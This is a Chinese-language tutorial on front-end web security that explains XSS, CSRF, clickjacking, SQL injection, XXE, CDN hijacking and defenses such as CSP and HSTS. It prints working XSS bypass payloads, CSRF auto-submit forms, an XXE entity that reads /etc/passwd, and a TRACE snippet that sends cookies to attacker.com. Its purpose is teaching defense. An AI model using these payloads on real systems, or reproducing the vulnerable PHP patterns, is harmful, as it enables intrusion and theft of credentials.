高级篇:前端安全深度解析
安全,是所有互联网企业都绕不开的话题。
如果把安全问题按照所发生的区域来进行分类的话,那么所有发生在后端服务器、应用、服务当中的安全问题就是 后端安全问题,而所有发生在浏览器、单页面应用、Web 页面当中的安全问题则算是 前端安全问题。
前端安全,简单说就是攻击者通过利用网站前端(HTML、CSS、JavaScript)的漏洞,来窃取用户数据、伪造用户操作或破坏网页正常功能的一系列安全问题。
与后端安全(如 SQL 注入、服务器入侵)不同,前端安全主要瞄准的是用户浏览器里的数据和代码。
XSS(跨站脚本攻击)
XSS (Cross-Site Scripting,为区分 CSS,把第一个字母改成了 X)是跨站脚本攻击,这是最普遍、危害最大的前端漏洞。
XSS 核心原理:攻击者把恶意的脚本(通常是 JavaScript)注入到看起来正常的网站中,在受害者浏览器中执行。
XSS 危害:
- 窃取Cookie:获取用户的敏感信息,如 Cookie、SessionID 等。
- 键盘记录:记录用户在网页上输入的所有内容。
- 钓鱼:在真实页面上伪造一个登录框,骗用户输入密码。
- 劫持操作:发起非用户本意的操作请求,比如发帖、转账、删帖等。
<input type="text" id="userInput" placeholder="输入内容" value="">
<button onclick="showInput()">提交</button>
<div id="result"></div>
<script>
function showInput() {
const input = document.getElementById('userInput').value;
document.getElementById('result').innerHTML = input;
}
</script>
当攻击者在输入框里填 <script>alert('XSS攻击成功')</script>,就会变成:
<div id="result">
<script>alert('XSS攻击成功')</script>
</div>
XSS 攻击可分为三类:反射型、存储型、DOM 型。
反射型 XSS
反射型 XSS 又称非持久性 XSS(通常发生在服务端渲染场景):攻击者将恶意脚本拼接在 URL 请求参数中,服务端接收参数后未做转义过滤,直接将参数内容拼入 HTML 页面并返回浏览器,页面加载时恶意代码被浏览器解析执行,完成攻击。
攻击流程:
- 攻击者构造携带恶意 JS 脚本的 URL;
- 通过短信、钓鱼邮件等方式诱导用户访问;
- 用户请求链接,服务端渲染将原样 URL 参数带入到 HTML 源码;
- 浏览器加载后端返回的完整页面,解析并执行内嵌恶意脚本。
<!-- 这是后端渲染出来的 HTML -->
<div id="result">
<?php echo $_GET['q']; ?> <!-- 后端直接输出 -->
</div>
// 携带恶意 JS 脚本的 URL
xss.php?q=<script>alert('经典反射型 XSS')</script>
// 最终返回的页面源代码
<div id="result">
<script>alert('经典反射型 XSS')</script>
</div>
存储型 XSS
存储型 XSS 又称持久性 XSS(通常发生在服务端渲染场景):攻击者将恶意脚本提交到服务器数据库 / 文件存储中,服务端未做转义过滤,当其他用户访问该页面时,服务端从存储中取出恶意脚本,直接拼入 HTML 页面并返回浏览器,页面加载时恶意代码被浏览器解析执行,完成攻击。
这是危害最大的 XSS 类型,常见于带保存数据功能的网站,如论坛发帖、商品评论、用户私信等。
攻击流程:
- 攻击者将恶意 JS 脚本提交到留言板、评论区、个人资料等功能;
- 服务端接收后直接存入数据库 / 存储,不做过滤;
- 其他用户访问该页面时,服务端从存储取出恶意脚本渲染到 HTML 源码;
- 浏览器加载页面,自动解析并执行内嵌的恶意脚本。
<form method="post">
<input type="text" name="content" placeholder="写下你的留言">
<button type="submit">提交留言</button>
</form>
<div>
<?php
$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
if ($_POST['content']) {
$content = $_POST['content'];
$pdo->query("INSERT INTO comments(content) VALUES('$content')");
}
$stmt = $pdo->query("SELECT content FROM comments");
$comments = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($comments as $c) {
echo "<div>" . $c['content'] . "</div>";
}
?>
</div>
// 攻击者提交的恶意内容
<script>alert('经典存储型 XSS 攻击成功!所有人访问都会中招!')</script>
DOM 型 XSS
DOM 型 XSS 完全发生在客户端,不涉及服务器的响应:攻击者通过恶意脚本操作 DOM 来改变页面结构。
注意:标准定义里的 DOM XSS 默认指代纯前端造成的漏洞。它与服务端渲染无关,全程只发生在浏览器的 JavaScript 执行和 DOM 渲染阶段。
DOM 型 XSS 和 反射 / 存储型 XSS 的区别:反射 / 存储型 XSS 的数据是由服务端渲染输出到页面,DOM 型 XSS 的是前端渲染到页面。
攻击流程:
- 攻击者构造一个包含恶意内容的 URL;
- 诱导用户访问 URL;
- 前端 JavaScript 代码从 URL 中读取参数,将不安全的参数代码写入页面 DOM;
- 浏览器解析更新后的 DOM 节点,直接执行恶意脚本。
<input type="text" id="keyword" placeholder="输入搜索内容">
<button onclick="search()">搜索</div>
<div id="result"></div>
<script>
const urlParams = new URLSearchParams(window.location.search);
const userInput = urlParams.get('q');
if (userInput) {
document.getElementById("result").innerHTML = "搜索结果:" + userInput;
}
function search() {
const keyword = document.getElementById("keyword").value;
window.location.hash = `q=${keyword}`;
}
</script>
http://localhost/xss.html#q=<img src=x onerror="alert('DOM XSS 攻击成功!')">
注意: 反射型 XSS 和 存储型 XSS 中,加载的 HTML 文档是经过服务端处理的,注入了一些业务相关的数据,导致恶意代码混入在 HTML 文档,也就是常说的服务端渲染,如 jsp、asp 等网页。如果是静态 HTML 或者单页面应用,也就是前端渲染,就不会出现这两种攻击,但仍要注意 DOM 型 XSS。
XSS 高级攻击技巧
绕过 <script> 标签的过滤:
<!-- 使用不同标签 -->
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<svg onload="alert(1)">
<!-- 使用事件属性 -->
<div onclick="alert(1)">点击</div>
<input onfocus="alert(1)" autofocus>
<!-- 使用javascript:伪协议 -->
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">
利用 DOM 属性:
// 利用innerHTML
document.write("<div>" + userInput + "</div>");
// 利用setAttribute
element.setAttribute("onclick", userInput);
// 利用style属性
<div style="background:url('javascript:alert(1)')">
XSS 的真实危害案例
MySpace 蠕虫(2005年):攻击者 Samy 在个人简介中注入 XSS 代码,任何查看他页面的用户会自动添加他为好友,并在自己的个人简介中复制这段代码。24小时内感染了超过 100 万用户。
Twitter "onmouseover" 漏洞(2010年):攻击者发现可以通过在推文中插入
onmouseover事件执行 JavaScript。鼠标经过该推文就会执行弹窗、转发恶意内容等操作。英国国税局Cookie窃取(2013年):攻击者利用 XSS 漏洞窃取用户的会话 Cookie,然后用这些 Cookie 访问受害者的税务账户,获取敏感信息。
XSS 的防御措施
XSS 攻击是程序错误地将数据(如,<script>)当作了代码来执行,核心防御策略:输出转义。
输出转义(核心防御):对插入的数据转义,确保恶意代码不会被浏览器执行:
HTML标签:将 <、>、&、"、' 等字符转义为 HTML 实体。
HTML属性:对属性值进行转义,并避免使用
javascript:伪协议。JavaScript 代码:对字符串中的特殊字符(如引号、换行符)进行转义。URL:使用 encodeURIComponent 进行编码。
输入校验(服务端为主,前端为辅):
- 服务端:对用户输入进行严格的格式校验,优先采用白名单机制(如校验邮箱、手机号、数字范围),拒绝不符合预期格式的数据。
- 前端:对用户输入进行校验(如限制输入长度、类型),但仅用于提升用户体验,不可作为安全防御手段,因为攻击者可直接通过 API 工具(如Postman、curl)绕过前端发送恶意载荷。
- 优先使用安全的 api:尽量避免使用
innerHTML、document.write、outerHTML、eval等危险方法,优先使用textContent、innerText、setAttribute等更安全的替代方案。 - 设置 Cookie 安全属性:
- HttpOnly:服务端为敏感信息(如会话ID、Token)的 Cookie 设置 HttpOnly 属性,让 JavaScript 无法读取 Cookie。
- Secure:仅允许 HTTPS 传输。
- SameSite:不允许跨域携带。
- 开启 CSP(内容安全策略):这是额外的浏览器端安全层,通过白名单机制明确告诉浏览器哪些来源的资源可以被加载和执行。CSP 可以有效拦截 XSS 攻击——即使攻击者成功注入了恶意脚本,浏览器也会因违反 CSP 策略而拒绝执行。
- 借助自动扫描工具主动发现漏洞:使用专业的安全扫描工具定期检测 XSS 漏洞。常用工具包括:
- Arachni:功能全面的 Web 应用安全扫描框架。
- w3af:开源的 Web 应用攻击与审计框架。
- Burp Suite Scanner:商业级Web漏洞扫描工具(业界常用)。
- Mozilla HTTP Observatory:检查HTTP安全头配置(如CSP、HSTS等),侧重于配置类风险评估。
CSRF(跨站请求伪造攻击)
CSRF(Cross-Site Request Forgery)称为跨站请求伪造攻击,是一种利用用户已登录的身份,在用户不知情的情况下发起恶意请求的攻击方式。
CSRF 的本质:攻击者利用浏览器自动携带 Cookie 的机制,冒充用户的身份,向目标网站的服务器发送非用户本意的操作。
CSRF 攻击的三个前提条件:
- 用户已登录目标网站(如银行网站、社交网站),且会话 Cookie 仍然有效。
- 目标网站没有对请求来源做校验(没有 CSRF Token 或 Referer 检查)。
- 攻击者能够诱导用户访问恶意网站(通过钓鱼邮件、恶意广告、XSS漏洞等)。
注意:浏览器同源策略限制的是“读取”操作,而不是“发送”操作。使用 fetch 或 XMLHttpRequest 发跨域请求时,请求确实会发出,但读取响应会被CORS策略阻止(不是同源策略),而 img、a、form、script 这些标签的跨域请求完全不受限制。
GET 请求型 CSRF(最经典)
GET 请求型 CSRF 的核心是利用浏览器在加载资源(如图片)时,会自动携带目标网站的 Cookie。
攻击流程:
- 用户正常登录目标网站:服务器在用户的浏览器里设置一个会话凭证(Cookie)。
- 攻击者构造恶意链接,诱导用户访问。
- 浏览器自动携带凭证发送请求:当用户访问恶意链接时,浏览器会向目标网站服务器发起一个 GET 请求。其中最关键的是:浏览器在发送这个请求时,会自动携带目标网站的 Cookie。
- 服务器处理请求,攻击完成:目标网站的服务器收到了这个 GET 请求,服务器对 Cookie 进行常规检查,确认是有效的 Cookie。于是,服务器认为:这是一个由已登录用户本人发出的、合法的请求。随后,服务器就执行了操作。
<!-- 目标网站 API -->
https://target.example.com/delete?account=123456
<!-- 攻击者构造的恶意网站 evil.com -->
<!-- 页面上有一个 img 标签,调用目标网站 API -->
<img src="https://target.example.com/delete?account=123456" style="display:none">
POST 请求型 CSRF(自动提交表单)
POST 型 CSRF 的核心是利用浏览器在提交表单时,会自动携带目标网站的 Cookie。
攻击流程:
- 用户正常登录目标网站:服务器在用户的浏览器里设置一个会话凭证(Cookie)。
- 攻击者构造恶意页面,诱导用户访问。
- 浏览器自动携带凭证发送请求:当用户访问恶意页面时,页面中的脚本会触发隐藏表单自动提交,浏览器向目标网站服务器发起一个 POST 请求。其中最关键的是:浏览器在发送这个请求时,会自动携带目标网站的 Cookie。
- 服务器处理请求,攻击完成:目标网站的服务器收到了这个 POST 请求,服务器对 Cookie 进行常规检查,确认是有效的 Cookie。于是,服务器认为:这是一个由已登录用户本人发出的、合法的请求。随后,服务器就执行了操作。
与 GET 型 CSRF 的核心区别:GET 请求型 CSRF 利用 img、a、link 等标签;POST 请求型 CSRF 利用 <form> + JavaScript。
<!-- 目标网站 API(POST 方式) -->
POST https://target.example.com/delete
Body: account=123456
<!-- 攻击者构造的恶意网站 evil.com -->
<!-- 页面上有一个隐藏表单,进入页面时自动提交 -->
<form id="hack" action="https://target.example.com/delete" method="POST">
<input name="account" value="123456">
</form>
<script>
document.getElementById('hack').submit();
</script>
利用 JSONP 或 CORS 进行 CSRF 攻击
这是比 GET 请求型 CSRF、POST 请求型 CSRF 更高级、危害更大的攻击方式:它不仅能发起请求,还能窃取响应数据。
JSONP(JSON with Padding) 是一种让网页跨域获取数据的历史技术方案,其核心原因是 script 标签加载的内容会被浏览器当作 JavaScript 代码立即执行。
在 CORS 出现之前,浏览器禁止跨域读取数据。但 script 标签加载外部脚本不受同源策略限制,通过 JSONP 绕过跨域限制:
var script = document.createElement('script');
script.src = 'https://target.example/api/getUserData?callback=doSomething';
document.head.appendChild(script);
// 服务端响应这个接口,并返回一段可执行的 JavaScript 代码
// 返回 JavaScript 代码:doSomething({"name":"Lizhao"})
function doSomething(data) {
console.log(data)
}
利用 CORS 进行 CSRF 攻击,关键是服务端 CORS 配置不当。攻击者在任意域名的网站都可以用 fetch 或 XMLHttpRequest 向目标服务端发送请求。
CSRF 的真实危害案例
- Netflix 的 CSRF 漏洞(2016年):攻击者可以修改用户的订阅计划、添加其他用户的邮箱地址。只需诱导 Netflix 用户点击恶意链接,攻击者就能获得账户的部分控制权。
- YouTube 的 CSRF 漏洞(2008年):攻击者可以利用 CSRF 添加恶意视频到用户的"收藏夹"、添加好友、发送消息等。虽然不直接窃取账户,但可以用于传播恶意内容。
- 路由器 CSRF 蠕虫:许多家庭路由器的管理界面没有 CSRF 防护。恶意网站可以修改路由器的DNS设置,将用户导向钓鱼网站。2018年就出现过针对巴西路由器的 CSRF 攻击。
CSRF 的防御措施(五道防线)
CSRF 攻击是因为浏览器发送请求会自动带上 Cookie。服务器无法区分是来自用户本人操作的真实页面,还是来自攻击者的恶意网站,核心防御策略:添加第三方无法伪造的身份标识。
CSRF Token(最有效、最常用):在请求中携带一个攻击者无法通过跨站方式获取的额外凭证。
- 服务器渲染:服务端生成一个随机生成、与当前用户会话唯一绑定的、不可预测的 Token(与用户身份绑定),嵌入到表单的隐藏字段中,并在用户提交请求时验证该 Token。
- 前端 SPA(react、vue):前端通过 AJAX 调用服务端 API(配置了 CORS),获取服务端下发 Token(由于同源策略的限制,跨域网站无法读取 API 返回的 Token),后续请求通过自定义请求头携带。
- 核心缺陷:XSS 可以读取页面上的 CSRF Token,从而绕过防御。但注意:如果网站存在 XSS,则 CSRF 已不是最大威胁,攻击者可以直接窃取 Cookie 或模拟用户操作。
cookie 的 Samesite 属性: 设置第三方网站发起的请求是否允许携带 Cookie。SameSite 有三个值:
- Strict:任何跨站请求都不发送 Cookie。
- Lax:部分跨站请求发送,比如 GET 请求(跳转链接、预加载请求、GET 表单),POST等不发送。
- None:所有跨站请求都发送。
- 核心缺陷:旧浏览器不支持或不完整支持 Samesite 属性。
验证 Referer 或 Origin 请求头:检查请求的来源是否来自合法域名。这个方法的局限性:
- IE6、7 下使用
location.href、window.open进行界面的跳转,会丢失 referer; - HTTPS 页面跳转到 HTTP 页面,所有 referer 都丢失;
- IE 9 及以下完全不支持 Origin 头,IE 11 以下对 Origin 头的支持存在严重的兼容性问题;
- 用户可以禁用 Referer(浏览器设置,各浏览器不同)。
- 核心缺陷总结:不可靠(丢失/空白)+ 兼容性差。
- IE6、7 下使用
自定义请求头(适用于AJAX请求):利用 CORS 预检机制,在跨站请求发出前拦截。浏览器在发送带有自定义请求头的跨域请求前,必须先发送 OPTIONS 预检请求。由于恶意网站的域名不在服务器的允许列表中,预检失败,真正的请求根本不会发出。
- 覆盖范围有限:只能用于 AJAX,
form表单提交、img、iframe等无法添加自定义头。 - 依赖 CORS 配置:需要服务端正确配置
Access-Control-Allow-Headers。
- 覆盖范围有限:只能用于 AJAX,
双重 cookie 验证: 服务器同时从 Cookie 和请求参数/Header 中读取同一个值,验证两者是否一致。这个方案关键:恶意网站发送请求会自动携带Cookie(这是无法改变的事实),但它不能通过 JavaScript 读取该Cookie。
- 核心缺陷:Cookie 不能设置
HttpOnly(否则前端无法读取),XSS 可直接读取 Token;无法防御同站子域名攻击。
- 核心缺陷:Cookie 不能设置
ClickJacking(点击劫持)
ClickJacking(点击劫持)是一种视觉欺骗的攻击方式,攻击者通过隐藏的透明 iframe,诱使用户在不知情的情况下点击恶意链接或按钮。
这是一种欺骗性比较强,同时也需要用户高度参与才能完成的一种攻击。
攻击流程:
- 攻击者构造一个诱导用户点击的页面,比如 Web 页面小游戏;
- 将目标网站的页面放入到 iframe 当中;
- 利用 z-index 等样式将 iframe 叠加到小游戏的垂直方向的正上方,并设置为 100% 透明度;
- 受害者访问页面,看到的是一个小游戏。如果受到诱导进行了点击的话,实际上点击到的却是 iframe 中目标网站的页面。
ClickJacking 的防御措施
X-Frame-Options(最常用):服务器设置 HTTP 响应头,告诉浏览器是否允许页面被嵌入 iframe、object、embed。
# 完全禁止被嵌入 X-Frame-Options: DENY # 只允许同域名嵌入 X-Frame-Options: SAMEORIGIN # 只允许指定域名嵌入(较少用) X-Frame-Options: ALLOW-FROM https://trusted.comCSP 的 frame-ancestors(现代替代方案):控制哪些网站可以使用 iframe、object、embed 等标签嵌入当前页面。
frame-ancestors比X-Frame-Options功能更强大、更灵活。如果两者同时设置,frame-ancestors会覆盖X-Frame-Options。# 禁止任何网站嵌入 Content-Security-Policy: frame-ancestors 'none' # 只允许同源嵌入 Content-Security-Policy: frame-ancestors 'self' # 只允许指定域名嵌入 Content-Security-Policy: frame-ancestors https://trusted.comJavaScript 防御(可被绕过,不推荐单独使用):如果目标页面在 iframe 中设置了
sandbox="allow-scripts allow-same-origin",top !== self判断可能失效。因此不推荐单独使用 JS 防御。if (top !== self) { top.location = self.location; }
其他相关安全问题
SQL 注入
SQL 注入(SQL Injection)是一种将恶意 SQL 代码插入到应用程序查询语句中的攻击方式,使攻击者能够欺骗数据库执行非预期的命令。
sql = "select * from users where name=" + name;
当用户输入 '' or '1'='1' 时,会变成查询所有用户:
select * from users where name='' or '1'='1';
SQL 注入 的防御核心是 参数化查询,让数据库区分代码和数据。永远不要信任用户输入,永远不要直接拼接 SQL。
sql = "SELECT * FROM users WHERE name = ?"
cursor.execute(sql, (username,))
DDoS 攻击
DDoS(Distributed Denial of Service,分布式拒绝服务攻击)是目前最常见的网络攻击之一,核心目的就是让网站或服务无法被正常用户访问。
DoS(Denial of Service,拒绝服务)是指攻击者对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。DDoS 则是 DoS 的升级版。
简单来说:
攻击者不断地提出服务请求,让合法用户的请求无法及时处理,这就是 DoS 攻击。
攻击者使用多台计算机或者计算机集群进行 DoS 攻击,就是 DDoS 攻击。
XXE 漏洞
XXE(XML External Entity Injection,XML外部实体注入)是一种利用 XML 解析器特性的攻击方式。当应用程序接收并解析 XML 输入,如果没有禁止外部实体的加载,攻击者通过注入外部实体,让服务器读取本地文件、发起内网请求,甚至执行系统命令。
场景1:攻击者尝试从服务端提取数据
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
<!ENTITY xxe SYSTEM "https://192.168.1.1/private">]>
HTTP 报头追踪漏洞
HTTP/1.1(RFC2616)规范定义了 HTTP TRACE 方法,主要是用于客户端通过向 Web 服务器提交 TRACE 请求来进行测试或获得诊断信息。
核心原理:TRACE 方法请求,服务器把客户端发送的请求头的内容(包括 Cookie)全部放在响应数据中,返回给客户端。
var xhr = new XMLHttpRequest();
xhr.open("TRACE", "https://example.com/", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch("https://attacker.com/steal", {
method: "POST",
body: xhr.responseText
});
}
};
xhr.send()
备注:这是理论攻击方式,现代浏览器已禁止,主要用于讲解历史漏洞。
文件上传漏洞
文件上传漏洞是指攻击者上传一个恶意文件(如 .php 木马)到服务器,然后访问它,服务器就执行了恶意代码。
核心原因:上传的文件与 Web 服务器在同一目录,被当作代码执行。默认情况下,服务器将 .php 交给 PHP 解析器执行、.jsp 交给 Java 容器(Tomcat)执行,.js、.html 当静态文件返回。
CDN 劫持
CDN 劫持是一种攻击者篡改 CDN 节点上的内容或劫持 DNS 解析,使用户访问到恶意服务器的攻击方式。
CDN(内容分发网络) 是一组分布在全球各地的服务器,用于缓存网站内容(图片、CSS、JS),让用户从最近的节点获取数据,提高访问速度。
CDN 劫持方式:
- DNS 劫持(最常见):攻击者篡改 DNS 服务器,使用户请求 CDN 域名时,返回攻击者的 IP。
- CDN 节点被入侵:攻击者直接入侵 CDN 服务商的某个边缘节点,篡改缓存内容。
- 中间人攻击(MTIM):攻击者在用户和 CDN 节点之间(如公共 WiFi)拦截请求,返回恶意内容。
- CDN 配置错误:攻击者利用 CDN 配置漏洞,上传恶意文件。
CDN 劫持的防御:
SRI(Subresource Integrity,子资源完整性):为 CDN 文件添加哈希值,浏览器加载时校验,不一致则拒绝执行。integrity 值通常用构建工具(webpack、vite)自动处理。
<script src="https://cdn.example.com/app.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w" crossorigin="anonymous"></script>使用 HTTPS + HSTS(HTTP Strict Transport Security,HTTP严格传输安全): HSTS 是告诉浏览器,这个网站只能用 HTTPS 访问,不能用 HTTP。
opener
通过 window.open 或者 a 标签带 target="_blank" 打开的页面,能使用 window.opener 来访问源页面的 window 对象进行篡改原页面。
采用以下方法可以阻止:
window.open('http://target.example.com')
// 防御方式
const target = window.open()
target.opener = null
target.location = 'http://target.example.com'
<a target="_blank" href="http://target.example.com"></a>
<!-- 防御方式 -->
<a target="_blank" href="http://target.example.com" rel="noopener noreferrer nofollow"></a>
安全策略
HSTS(HTTP严格传输安全)
HSTS 是国际互联网工程组织 IETF 发布的一种互联网安全策略机制,通过 HTTP 响应头告诉浏览器:这个网站的所有通信都必须使用 HTTPS,绝对禁止使用 HTTP。
HSTS 工作原理:
- 服务器发送 HSTS 头:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload。 - 浏览器记住:浏览器收到后,记住在未来 1 年内必须用 HTTPS。
- 强制 HTTPS:下次用户输入网站域名,浏览器自动变成使用 HTTPS 协议,根本不发 HTTP 请求。
注意:用户首次访问某网站是不受 HSTS 保护的。这是因为首次访问时,浏览器还未收到 HSTS,所以仍有可能通过明文 HTTP 来访问。解决方案:一是在浏览器预置 HSTS 域名列表,二是将 HSTS 信息加入到域名系统记录中。
浏览器 HSTS 域名列表:Chrome 的 chrome://net-internals/#hsts,可以查询预置列表,还可以手动把域名加到预置列表。
CSP(内容安全策略)
CSP(Content Security Policy)是一种浏览器端的安全机制,通过设置白名单,告诉浏览器哪些资源可以加载和执行,从而有效防御 XSS、数据注入等攻击。
CSP 本质:给浏览器一个白名单,告诉浏览器哪种类型资源可以从哪个或者哪些域名下加载和执行。
服务器通过 HTTP 响应头返回 CSP:
# 所有内容均来自站点的同一个源 (不包括其子域名)
Content-Security-Policy: default-src 'self'
# 允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)
Content-Security-Policy: default-src 'self' *.trusted.com
# 允许网页应用的用户在他们自己的内容中包含来自任何源的图片, 但是限制音频或视频需从信任的资源提供者(获得),所有脚本必须从特定主机服务器获取可信的代码
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
HTML meta 标签配置 CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
相关问题
请求头 origin、referer、host 区别?
- Host: 标识请求来源的域名和端口号,在任何类型请求中,请求头都必须包含此信息(HTTP/1.1 规范要求)。host是浏览器自动设置,无法通过 JavaScript 修改。注意:HTTP/2 中表现为
:authority属性。 - Origin: 标识请求来源的协议、域名、端口号。只在发送跨域请求或者同域的 Post 请求,才会携带 Origin 请求头。
- Referer: 标识请求来源的协议、域名、端口号、路径、参数(不包含 hash 值)。以下场景不会携带 Referer:
- HTTPS 链接跳转到 HTTP 链接(取决浏览器
Referrer-Policy配置)。 - 在
<a>或<area>标签中添加rel="noreferrer"。 <meta name="referrer">配置为no-referrer。- HTTP 响应头
Referrer-Policy: no-referrer。 - 使用
window.open且不指定referrer。 - 用户在浏览器地址栏直接输入网址,或从书签/收藏夹打开。
- 用户在浏览器设置禁用 Referer。
- HTTPS 链接跳转到 HTTP 链接(取决浏览器